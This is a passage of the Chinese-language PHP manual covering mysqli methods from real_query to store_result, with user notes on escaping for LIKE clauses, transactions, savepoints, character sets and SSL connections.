Note: preg_replace() is in PCRE_UTF8 (UTF-8) mode (`u`).

Enhanced version:

When escaping strings for `LIKE` syntax, remember that you also need to escape the special characters _ and %

So this is a more fail-safe version (even when compared to mysqli::real_escape_string, because % characters in user input can cause unexpected results and even security violations via SQL injection in LIKE statements):

<?php

/**
 * Returns a string with backslashes before characters that need to be escaped.
 * As required by MySQL and suitable for multi-byte character sets
 * Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and ctrl-Z.
 * In addition, the special control characters % and _ are also escaped,
 * suitable for all statements, but especially suitable for `LIKE`.
 *
 * @param string $string String to add slashes to
 * @return $string with `\` prepended to reserved characters
 *
 * @author Trevor Herselman
 */
if (function_exists('mb_ereg_replace'))
{
    function mb_escape(string $string)
    {
        return mb_ereg_replace('[\x00\x0A\x0D\x1A\x22\x25\x27\x5C\x5F]', '\\\0', $string);
    }
} else {
    function mb_escape(string $string)
    {
        return preg_replace('~[\x00\x0A\x0D\x1A\x22\x25\x27\x5C\x5F]~u', '\\\$0', $string);
    }
}

?>

Additional characters escaped:

25 = %
5F = _

Bonus function:

The original MySQL `utf8` character-set (for tables and fields) only supports 3-byte sequences.
4-byte characters are not common, but I've had queries fail to execute on 4-byte UTF-8 characters, so you should be using `utf8mb4` wherever possible.

However, if you still want to use `utf8`, you can use the following function to replace all 4-byte sequences.

<?php
// Modified from: https://stackoverflow.com/a/24672780/2726557
function mysql_utf8_sanitizer(string $str)
{
    return preg_replace('/[\x{10000}-\x{10FFFF}]/u', "\xEF\xBF\xBD", $str);
}
?>

Pick your poison and use at your own risk!
Anonymous 25-Mar-2015 09:20
If you wonder why (besides \, ' and ")  NUL (ASCII 0), \n, \r, and Control-Z are escaped: it is not to prevent sql injection, but to prevent your sql logfile to get unreadable.
dave at mausner.us 25-Feb-2011 07:48
You can avoid all character escaping issues (on the PHP side) if you use prepare() and bind_param(), as an alternative to placing arbitrary string values in SQL statements.  This works because bound parameter values are NOT passed via the SQL statement syntax.
Josef Toman 26-Feb-2010 06:14
For percent sign and underscore I use this:
<?php
$more_escaped = addcslashes($escaped, '%_');
?>
arnoud at procurios dot nl 07-Oct-2004 09:05
Note that this function will NOT escape _ (underscore) and % (percent) signs, which have special meanings in LIKE clauses.

As far as I know there is no function to do this, so you have to escape them yourself by adding a backslash in front of them.


执行一个mysql查询

  • ? mysqli::real_escape_string
  • mysqli::reap_async_query ?
  • PHP Manual
  • mysqli
  • 执行一个mysql查询

mysqli::real_query

mysqli_real_query

(PHP 5, PHP 7, PHP 8)

mysqli::real_query -- mysqli_real_query — 执行一个mysql查询

说明

面向对象风格

public mysqli::real_query(string $query): bool

过程化风格

mysqli_real_query(mysqli $mysql, string $query): bool

对数据库执行单条查询，其结果可以使用 mysqli_store_result() 或 mysqli_use_result() 检索或存储。

Warning

Security warning: SQL injection

If the query contains any variable input then parameterized prepared statements should be used instead. Alternatively, the data must be properly formatted and all strings must be escaped using the mysqli_real_escape_string() function.

为了确定给定的查询是否应返回结果集，参阅 mysqli_field_count()。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

query

查询字符串。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

参见

  • mysqli_query() - 对数据库执行查询
  • mysqli_store_result() - 传输上次查询的结果集
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


获取异步查询的结果

  • ? mysqli::real_query
  • mysqli::refresh ?
  • PHP Manual
  • mysqli
  • 获取异步查询的结果

mysqli::reap_async_query

mysqli_reap_async_query

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli::reap_async_query -- mysqli_reap_async_query — 获取异步查询的结果

说明

面向对象风格

public mysqli::reap_async_query(): mysqli_result|bool

过程化风格

mysqli_reap_async_query(mysqli $mysql): mysqli_result|bool

获取异步查询的结果，

Note:

仅可用于 mysqlnd。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

失败时返回 false。对于生成结果集的成功查询，比如 SELECT, SHOW, DESCRIBE 或 EXPLAIN，mysqli_reap_async_query() 将返回 mysqli_result 对象。对其它成功查询，mysqli_reap_async_query() 将返回 true。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

参见

  • mysqli_poll() - 轮询连接

User Contributed Notes

eric dot caron at gmail dot com 06-May-2010 11:05
Keep in mind that mysqli::reap_async_query only returns mysqli_result on queries like SELECT. For queries where you may be interested in things like affected_rows or insert_id, you can't work off of the result of mysqli::reap_async_query as the example in mysqli::poll leads you to believe. For INSERT/UPDATE/DELETE queries, the data corresponding to the query can be accessed through the associated key to the first array in the mysqli::poll function.

So instead of
<?php
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            print_r($result->fetch_row());
            mysqli_free_result($result);
            $processed++;
        }
    }
?>

The data is accessible via:
<?php
    foreach ($links as $link) {
        if ($result = $link->reap_async_query()) {
            //This works for SELECT
            if(is_object($result)){
                print_r($result->fetch_row());
                mysqli_free_result($result);
            }
            //This works for INSERT/UPDATE/DELETE
            else {
                print_r($link);
            }
            $processed++;
        }
    }
?>


刷新

  • ? mysqli::reap_async_query
  • mysqli::release_savepoint ?
  • PHP Manual
  • mysqli
  • 刷新

mysqli::refresh

mysqli_refresh

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli::refresh -- mysqli_refresh — 刷新

说明

面向对象风格

public mysqli::refresh(int $flags): bool

过程化风格

mysqli_refresh(mysqli $mysql, int $flags): bool

刷新表或者缓存，或者重置复制服务器信息。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

flags

使用 MySQLi 常量文档记录的 MYSQLI_REFRESH_* 常量作为刷新选项。

参见 MySQL 官方文档：» MySQL Refresh

返回值

刷新成功返回 true，否则返回 false。

参见

  • mysqli_poll() - 轮询连接

User Contributed Notes

There are no user contributed notes for this page.


从当前事务的保存点中移除一个命名保存点

  • ? mysqli::refresh
  • mysqli::rollback ?
  • PHP Manual
  • mysqli
  • 从当前事务的保存点中移除一个命名保存点

mysqli::release_savepoint

mysqli_release_savepoint

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

mysqli::release_savepoint -- mysqli_release_savepoint — 从当前事务的保存点中移除一个命名保存点

说明

面向对象风格

public mysqli::release_savepoint(string $name): bool

过程化风格:

mysqli_release_savepoint(mysqli $mysql, string $name): bool

此函数等同于执行 $mysqli->query("RELEASE SAVEPOINT `$name`");。此函数不会触发 commit 或者 rollback。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

name

保存点的标识符。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • mysqli_savepoint() - 在当前事务中设置命名保存点

User Contributed Notes

There are no user contributed notes for this page.


回滚当前事务

  • ? mysqli::release_savepoint
  • mysqli::savepoint ?
  • PHP Manual
  • mysqli
  • 回滚当前事务

mysqli::rollback

mysqli_rollback

(PHP 5, PHP 7, PHP 8)

mysqli::rollback -- mysqli_rollback — 回滚当前事务

说明

面向对象风格

public mysqli::rollback(int $flags = 0, ?string $name = null): bool

过程化风格

mysqli_rollback(mysqli $mysql, int $flags = 0, ?string $name = null): bool

回滚数据库的当前事务。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

flags

MYSQLI_TRANS_COR_* 常量的位掩码。

name

如果提供，则执行 ROLLBACK/*name*/。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

更新日志

版本 | 说明
8.0.0 | name 现在可以为 null。

示例

参阅 mysqli::begin_transaction() 示例。

注释

Note:

此函数不支持非事务表类型（如 MyISAM 或 ISAM）。

参见

  • mysqli_begin_transaction() - Starts a transaction
  • mysqli_commit() - 提交当前事务
  • mysqli_autocommit() - 打开或关闭本次数据库连接的自动命令提交事务模式
  • mysqli_release_savepoint() - 从当前事务的保存点中移除一个命名保存点

User Contributed Notes

Yorick Phoenix 07-Sep-2023 05:55
If you use savepoints  - eg savepoint($foo) - be wary of trying to rollback to the save point with rollback(0, $foo) as that executes "ROLLBACK /* $foo */" instead of "ROLLBACK TO `$foo`".

The manual page is clear about this, but is easily overlooked.

Instead use: $mysqli->query("ROLLBACK TO `$foo`");
Steven McCoy 10-Feb-2012 09:16
Remember that MyISAM tables do not support rollbacks.

I just drove myself crazy for an afternoon trying to figure out what was wrong with my code - meanwhile it was fine all along
xcalibur at xcalibur dot dk 10-Mar-2010 03:04
Just a note about auto incremental ids and rollback.
When using transactions and inserting into a table containing a column with auto incremental ids, the id will be incremented even though the transaction is rolled back.

This might occupy a lot of ids if a lot of rollbacks are performed.

Example:
<?php
$mysqli = new mysqli("localhost", "gugbageri", "gugbageri", "gugbageri");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* disable autocommit */
$mysqli->autocommit(FALSE);

/* We just create a test table with one auto incremental primary column and a content column*/
$mysqli->query("CREATE TABLE TestTable ( `id_column` INT NOT NULL  AUTO_INCREMENT , `content` INT NOT NULL , PRIMARY KEY ( `id_column` )) ENGINE = InnoDB;");

/* commit newly created table */
$mysqli->commit();

/* we insert a row */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we commit the inserted row */
$mysqli->commit();

/* we insert another three rows */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we the rollback */
$mysqli->rollback();

/* we insert a row */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we commit the inserted row */
$mysqli->commit();

if ($result = $mysqli->query("SELECT id_column FROM TestTable")) {

   while($row = $result->fetch_row()) {
      printf("Id: %d.\n", $row[0]);
   }
    /* Free result */
    $result->close();
}

/* Drop table TestTable */
$mysqli->query("DROP TABLE TestTable");

$mysqli->close();
?>

This will output:
Id: 1.
Id: 5.
jd at dilltree dot com 22-Jul-2009 04:08
Something to consider when using transact is that you should not perform a normal query on the same table (such as a DELETE) immediately after a transaction.  If the transaction rolls-back, the DELETE will execute and even show affected rows, but the row can be magically re-inserted even if the rollback() command comes before the DELETE query.
Lorenzo - webmaster AT 4tour DOT it 10-Feb-2009 06:31
This is an example to explain the powerful of the rollback and commit functions.
Let's suppose you want to be sure that all queries have to be executed without errors before writing data on the database.
Here's the code:

<?php
$all_query_ok=true; // our control variable

//we make 4 inserts, the last one generates an error
//if at least one query returns an error we change our control variable
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (200)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (300)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false; //duplicated PRIMARY KEY VALUE

//now let's test our control variable
$all_query_ok ? $mysqli->commit() : $mysqli->rollback();

$mysqli->close();
?>

hope to be helpful!


在当前事务中设置命名保存点

  • ? mysqli::rollback
  • mysqli::select_db ?
  • PHP Manual
  • mysqli
  • 在当前事务中设置命名保存点

mysqli::savepoint

mysqli_savepoint

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

mysqli::savepoint -- mysqli_savepoint — 在当前事务中设置命名保存点

说明

面向对象风格

public mysqli::savepoint(string $name): bool

过程化风格:

mysqli_savepoint(mysqli $mysql, string $name): bool

此函数等同于执行 $mysqli->query("SAVEPOINT `$name`");

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

name

保存点的标识符。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • mysqli_release_savepoint() - 从当前事务的保存点中移除一个命名保存点

User Contributed Notes

There are no user contributed notes for this page.


选择用于数据库查询的默认数据库

  • ? mysqli::savepoint
  • mysqli::set_charset ?
  • PHP Manual
  • mysqli
  • 选择用于数据库查询的默认数据库

mysqli::select_db

mysqli_select_db

(PHP 5, PHP 7, PHP 8)

mysqli::select_db -- mysqli_select_db — 选择用于数据库查询的默认数据库

说明

面向对象风格

public mysqli::select_db(string $database): bool

过程化风格

mysqli_select_db(mysqli $mysql, string $database): bool

选择默认数据库，用于在已连接的数据库中执行查询。

Note:

此函数只能用于更改连接的默认数据库。可以在 mysqli_connect() 中使用第 4 个参数选择默认数据库。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

database

数据库名称

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli::select_db() 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* get the name of the current default database */
$result = $mysqli->query("SELECT DATABASE()");
$row = $result->fetch_row();
printf("Default database is %s.\n", $row[0]);

/* change default database to "world" */
$mysqli->select_db("world");

/* get the name of the current default database */
$result = $mysqli->query("SELECT DATABASE()");
$row = $result->fetch_row();
printf("Default database is %s.\n", $row[0]);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* get the name of the current default database */
$result = mysqli_query($link, "SELECT DATABASE()");
$row = mysqli_fetch_row($result);
printf("Default database is %s.\n", $row[0]);

/* change default database to "world" */
mysqli_select_db($link, "world");

/* get the name of the current default database */
$result = mysqli_query($link, "SELECT DATABASE()");
$row = mysqli_fetch_row($result);
printf("Default database is %s.\n", $row[0]);

以上示例会输出：

Default database is test.
Default database is world.

参见

  • mysqli_connect() - 别名 mysqli::__construct
  • mysqli_real_connect() - 建立一个 MySQL 服务器连接

User Contributed Notes

lori at astoundingteam dot com 14-Aug-2023 09:48
Note that the order of arguments for `mysqli_select_db` is opposite what it is for the deprecated `mysql_select_db`.


设置客户端字符集

  • ? mysqli::select_db
  • mysqli::$sqlstate ?
  • PHP Manual
  • mysqli
  • 设置客户端字符集

mysqli::set_charset

mysqli_set_charset

(PHP 5 >= 5.0.5, PHP 7, PHP 8)

mysqli::set_charset -- mysqli_set_charset — 设置客户端字符集

说明

面向对象风格

public mysqli::set_charset(string $charset): bool

过程化风格

mysqli_set_charset(mysqli $mysql, string $charset): bool

设置客户端与数据库间传输数据时所用的字符集。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

charset

所需的字符集。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 mysqli::set_charset() 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

printf("Initial character set: %s\n", $mysqli->character_set_name());

/* change character set to utf8mb4 */
$mysqli->set_charset("utf8mb4");

printf("Current character set: %s\n", $mysqli->character_set_name());

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'test');

printf("Initial character set: %s\n", mysqli_character_set_name($link));

/* change character set to utf8mb4 */
mysqli_set_charset($link, "utf8mb4");

printf("Current character set: %s\n", mysqli_character_set_name($link));

以上示例的输出类似于：

Initial character set: latin1
Current character set: utf8mb4

注释

Note:

如果在 Windows 平台上使用该方法，需要 MySQL 客户端库版本 4.1.11 或以上（且 MySQL 5.0 版本需要 5.0.6 及以上）。

Note:

这是改变字符集的首选方法，不推荐使用 mysqli_query() 来设置（如 SET NAMES utf8）。有关详细信息，请参阅 MySQL 字符集概念部分。

参见

  • mysqli_character_set_name() - 返回当前数据库连接的字符编码
  • mysqli_real_escape_string() - 根据当前连接的字符集，对于 SQL 语句中的特殊字符进行转义
  • MySQL 字符集概念
  • » MySQL 支持的字符集列表

User Contributed Notes

ASchmidt at Anamera dot net 19-Jun-2018 10:54
To align both the character set (e.g., utf8mb4) AND the collation sequence with the schema (database) settings:

<?php
$mysqli = new mysqli( DB_HOST, DB_USER, DB_PASSWORD, DB_SCHEMA, DB_PORT );
if ( 0 !== $mysqli->connect_errno )
    throw new \Exception( $mysqli->connect_error, $mysqli->connect_errno );

if ( TRUE !== $mysqli->set_charset( 'utf8mb4' ) )
    throw new \Exception( $mysql->error, $mysqli->errno );

if ( TRUE !== $mysqli->query( 'SET collation_connection = @@collation_database;' ) )
    throw new \Exception( $mysql->error, $mysqli->errno );
?>

To confirm:

<?php
echo 'character_set_name: ', $mysqli->character_set_name(), '<br />', PHP_EOL;
foreach( $mysqli->query( "SHOW VARIABLES LIKE '%_connection';" )->fetch_all() as $setting )
    echo $setting[0], ': ', $setting[1], '<br />', PHP_EOL;
?>

will output something like:
character_set_name: utf8mb4
character_set_connection: utf8mb4
collation_connection: utf8mb4_unicode_520_ci
chris at ocproducts dot com 03-Jan-2018 07:30
Note that using utf8mb4 with this function may cause this function to return false, depending on the MySQL client library compiled into PHP. If the client library is older than the introduction of utf8mb4, then PHP's call of the libraries 'mysql_set_character_set' will return an error because it won't recognise that character set.

The only way you will know there's an error is by checking the return value, because PHP warnings are not emitted by this function.
mysqli_error will return something like:
"Can't initialize character set utf8mb4 (path: /usr/share/mysql/charsets/)"
(I don't think the directory has anything to do with it; I think the utf8mb4 vs utf8 distinction is handled internally)

A workaround is to recall with utf8, then do a 'SET NAMES' query with utf8mb4.

If your MySQL server is configured to use utf8 by default, then you may not notice any of this until you get obscure bugs. It seems it will still save into the database correctly in terms of bytes. However, you may get "Data too long for column" errors if you are truncating strings to fit fields, because from MySQL's point of view during the length check every 4-byte character will actually be multiple individual characters. This caused me hours of debugging.
Konstantin Rozinov 18-Sep-2017 02:20
The comment by Claude (http://php.net/manual/en/mysqli.set-charset.php#121067) is CORRECT.

Setting the charset (it's really the encoding) like this after setting up your connection:
$connection->set_charset("utf8mb4")

FAILS to set the proper collation for the connection:

character_set_client: utf8mb4
character_set_connection: utf8mb4
character_set_database: utf8mb4
character_set_filesystem: binary
character_set_results: utf8mb4
character_set_server: utf8mb4
character_set_system: utf8
collation_connection: utf8mb4_general_ci <---- still says general
collation_database: utf8mb4_unicode_ci
collation_server: utf8mb4_unicode_ci

If you use SET NAMES, that works:
$connection->query("SET NAMES utf8mb4 COLLATE utf8mb4_unicode_ci");

character_set_client: utf8mb4
character_set_connection: utf8mb4
character_set_database: utf8mb4
character_set_filesystem: binary
character_set_results: utf8mb4
character_set_server: utf8mb4
character_set_system: utf8
collation_connection: utf8mb4_unicode_ci <-- now says unicode
collation_database: utf8mb4_unicode_ci
collation_server: utf8mb4_unicode_ci

Please note, that I set the following variables on the server:

Set the following to be: utf8mb4_unicode_ci

character_set_client
character_set_connection
character_set_database
character_set_results
character_set_server

collation_connection
collation_server

Set:

character-set-client-handshake = FALSE or 0
skip-character-set-client-handshake = TRUE or 1
claude dot pache at gmail dot com 11-May-2017 08:01
Although the documentation says that using that function is preferred than using SET NAMES, it is not sufficient in case you use a collation different from the default one:

<?php
// That will reset collation_connection to latin1_swedish_ci
// (the default collation for latin1):
$mysqli->set_charset('latin1');

// You have to execute the following statement *after* mysqli::set_charset()
// in order to get the desired value for collation_connection:
$mysqli->query("SET NAMES latin1 COLLATE latin1_german1_ci");
Emmanuel Appiah 20-Mar-2016 05:46
So in my case, I had tried changing the collation from utf8mb4_unicode_ci for mysql and had to change it to uft8_general_ci.

Then pasted :

mysqli_set_charset( $con, 'utf8');

right before I did the SELECT command.

This is my code for reading from db :

/*

$DB_SERVER="db_server_name";
$DB_USER_READER="root";
$DB_PASS_READER="passw*rd";
$DB_NAME="db_name";
$DB_PORT="port number";

$SELECT_WHAT="`name_of_column_as_in_your_table`";
$WHICH_TBL="`table_name`";
$ON_WHAT_CONDITION="`id`='7'";

*/

$con = mysqli_connect($DB_SERVER, $DB_USER_READER, $DB_PASS_READER, $DB_NAME, $DB_PORT);//this is the unique connection for the selection

    mysqli_set_charset( $con, 'utf8');

        $slct_stmnt = "SELECT ".$SELECT_WHAT." FROM ".$WHICH_TBL." WHERE ".$ON_WHAT_CONDITION;

    $slct_query = mysqli_query($con, $slct_stmnt);

        if ($slct_query==true) {
//Do your stuff here . . .
}

And it worked like a charm. All the best. The above code can work with reading chineese, russian or arabic or any international language from the database's table column holding such data.


返回上一次 MySQL 操作的 SQLSTATE 错误

  • ? mysqli::set_charset
  • mysqli::ssl_set ?
  • PHP Manual
  • mysqli
  • 返回上一次 MySQL 操作的 SQLSTATE 错误

mysqli::$sqlstate

mysqli_sqlstate

(PHP 5, PHP 7, PHP 8)

mysqli::$sqlstate -- mysqli_sqlstate — 返回上一次 MySQL 操作的 SQLSTATE 错误

说明

面向对象风格

string $mysqli->sqlstate;

过程化风格

mysqli_sqlstate(mysqli $mysql): string

返回包含 SQLSTATE 错误码的字符串，表示上次的错误。错误码由 5 个字符构成。'00000' 表示没有发生错误。错误码由 ANSI SQL 和 ODBC 定义。对可能的值列表，参见 » http://dev.mysql.com/doc/mysql/en/error-handling.html。

Note:

需要注意的是，并不是所有的 MySQL 错误都映射到了 SQLSTATE，未映射的错误消息使用 HY000（常规错误）表示。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

返回包含 SQLSTATE 错误码的字符串，表示上次的错误。 错误码由 5 个字符构成。'00000' 表示没有错误。

示例

Example #1 $mysqli->sqlstate 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* City 表已经存在，所以会遇到一个错误 */
try {
$mysqli->query("CREATE TABLE City (ID INT, Name VARCHAR(30))");
} catch (mysqli_sql_exception) {
printf("Error - SQLSTATE %s.\n", $mysqli->sqlstate);
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* City 表已经存在，所以会遇到一个错误 */
try {
mysqli_query($link, "CREATE TABLE City (ID INT, Name VARCHAR(30))");
} catch (mysqli_sql_exception) {
printf("Error - SQLSTATE %s.\n", mysqli_sqlstate($link));
}

以上示例会输出：

Error - SQLSTATE 42S01.

参见

  • mysqli_errno() - 返回最近函数调用的错误代码
  • mysqli_error() - Returns a string description of the last error

User Contributed Notes

There are no user contributed notes for this page.


用于使用 SSL 建立安全连接

  • ? mysqli::$sqlstate
  • mysqli::stat ?
  • PHP Manual
  • mysqli
  • 用于使用 SSL 建立安全连接

mysqli::ssl_set

mysqli_ssl_set

(PHP 5, PHP 7, PHP 8)

mysqli::ssl_set -- mysqli_ssl_set — 用于使用 SSL 建立安全连接

说明

面向对象风格

public mysqli::ssl_set(
?string $key,
?string $certificate,
?string $ca_certificate,
?string $ca_path,
?string $cipher_algos
): true

过程化风格

mysqli_ssl_set(
mysqli $mysql,
?string $key,
?string $certificate,
?string $ca_certificate,
?string $ca_path,
?string $cipher_algos
): true

用于使用 SSL 建立安全连接。必须在 mysqli_real_connect() 之前调用。除非启用 OpenSSL 支持，否则此函数不执行任何操作。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

key

密钥文件的路径

certificate

证书文件的路径

ca_certificate

签发机构的证书文件路径

ca_path

指向一个目录的路径， 该目录下存放的是受信任的 CA 机构证书 PEM 格式的文件。

cipher_algos

SSL 加密允许使用的算法清单

返回值

总是返回 true。如果 SSL 的设置有误，那么当尝试连接时，mysqli_real_connect() 将会返回错误。

参见

  • mysqli_options() - 设置选项
  • mysqli_real_connect() - 建立一个 MySQL 服务器连接

User Contributed Notes

Mike 27-Apr-2020 05:16
You no longer need to specify the key - ca or cert to establish a secure connection to MySQL 5.7.3 you can just set ssl
quackfish at gmail dot com 13-Apr-2015 09:56
Be warned, MySQL prior to versions 5.7.3 do not require the server to use SSL [1]. In the case of PHP the client won't throw an error if the connection is downgraded to plain-text [2]

[1] https://dev.mysql.com/doc/refman/5.7/en/encrypted-connection-options.html#option_general_ssl
[2] http://www.idontplaydarts.com/2015/03/mysql-with-ssl-does-not-protect-against-active-mitm/


获取当前系统状态信息

  • ? mysqli::ssl_set
  • mysqli::stmt_init ?
  • PHP Manual
  • mysqli
  • 获取当前系统状态信息

mysqli::stat

mysqli_stat

(PHP 5, PHP 7, PHP 8)

mysqli::stat -- mysqli_stat — 获取当前系统状态信息

说明

面向对象风格

public mysqli::stat(): string|false

过程化风格

mysqli_stat(mysqli $mysql): string|false

mysqli_stat() 返回字符串，其中包含类似于"mysqladmin status"命令提供的信息。包含以秒为单位的正常运行时间、运行中的线程数、问题数、重新加载数以及打开的表数量。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

描述服务器状态的字符串，发生错误则为 false。

示例

Example #1 mysqli::stat() 示例

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

printf("System status: %s\n", $mysqli->stat());

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

printf("System status: %s\n", mysqli_stat($link));

以上示例会输出：

System status: Uptime: 272  Threads: 1  Questions: 5340  Slow queries: 0
Opens: 13  Flush tables: 1  Open tables: 0  Queries per second avg: 19.632
Memory in use: 8496K  Max memory used: 8560K

参见

  • mysqli_get_server_info() - 返回 MySQL 服务器的版本号

User Contributed Notes

amosjohlong at hotmail dot com 24-Nov-2016 10:13
Here is an explanation of the values that appear in connection->stat() returned string. It was taken from Ai Hua's April 29, 2006 answer on http://forums.mysql.com/read.php?12,86570,86570.

Uptime--The number of seconds the MySQL server has been running.

Threads--The number of active threads (clients).

Questions--The number of questions (queries) from clients since the server was started.

Slow queries--The number of queries that have taken more than long_query_time seconds.

Opens--The number of tables the server has opened.

Flush tables--The number of flush-*, refresh, and reload commands the server has executed.

Open tables--The number of tables that currently are open.

Queries per second avg--Questions divided by Uptime


初始化语句并返回用于 mysqli_stmt_prepare（调用）的对象

  • ? mysqli::stat
  • mysqli::store_result ?
  • PHP Manual
  • mysqli
  • 初始化语句并返回用于 mysqli_stmt_prepare（调用）的对象

mysqli::stmt_init

mysqli_stmt_init

(PHP 5, PHP 7, PHP 8)

mysqli::stmt_init -- mysqli_stmt_init — 初始化语句并返回用于 mysqli_stmt_prepare（调用）的对象

说明

面向对象风格

public mysqli::stmt_init(): mysqli_stmt|false

过程化风格

mysqli_stmt_init(mysqli $mysql): mysqli_stmt|false

分配并初始化适合 mysqli_stmt_prepare() 的语句对象。

Note:

在调用 mysqli_stmt_prepare() 之前，对其它 mysqli_stmt 函数的后续调用都会失败。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

返回对象。

参见

  • mysqli_stmt_prepare() - Prepares an SQL statement for execution

User Contributed Notes

Jeff C 31-Aug-2016 09:32
stmt_init() seems to clear previous (possibly erroneous) results on the DB connection, which means you don't necessarily need to use it but it could make the code more robust.

In a PHPUnit test, I had a sequence of prepared queries on the same connection. One of them fetched a row from a SELECT but didn't keep fetching until it drained the connection, so it left some stale results. When the next query did this:

<?php
$db = $this->getConnection()->getDbConnection();
$preparedQuery = $db->prepare ($query);
?>

the prepare() call generated an error: "Could not prepare query: Commands out of sync; you can't run this command now." Changing to this:

<?php
$db = $this->getConnection()->getDbConnection();
$preparedQuery = $db->stmt_init();
$preparedQuery->prepare ($query);
?>

resolved the problem.
mamdo7 at hotmail dot com 07-Jun-2014 11:58
you can use $stmt = $mysqli->prepare(); directly without stmt-init() . i think there is no need for stmt-init .


传输上次查询的结果集

  • ? mysqli::stmt_init
  • mysqli::$thread_id ?
  • PHP Manual
  • mysqli
  • 传输上次查询的结果集

mysqli::store_result

mysqli_store_result

(PHP 5, PHP 7, PHP 8)

mysqli::store_result -- mysqli_store_result — 传输上次查询的结果集

说明

面向对象风格

public mysqli::store_result(int $mode = 0): mysqli_result|false

过程化风格

mysqli_store_result(mysqli $mysql, int $mode = 0): mysqli_result|false

传输由 mysql 参数表示的连接上的上一次查询的结果集，可在 mysqli_data_seek() 函数中使用。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

mode

想要设置的选项。自 PHP 8.1 起，此参数无效。可以是下列中的某一值：

有效选项
名称 | 说明
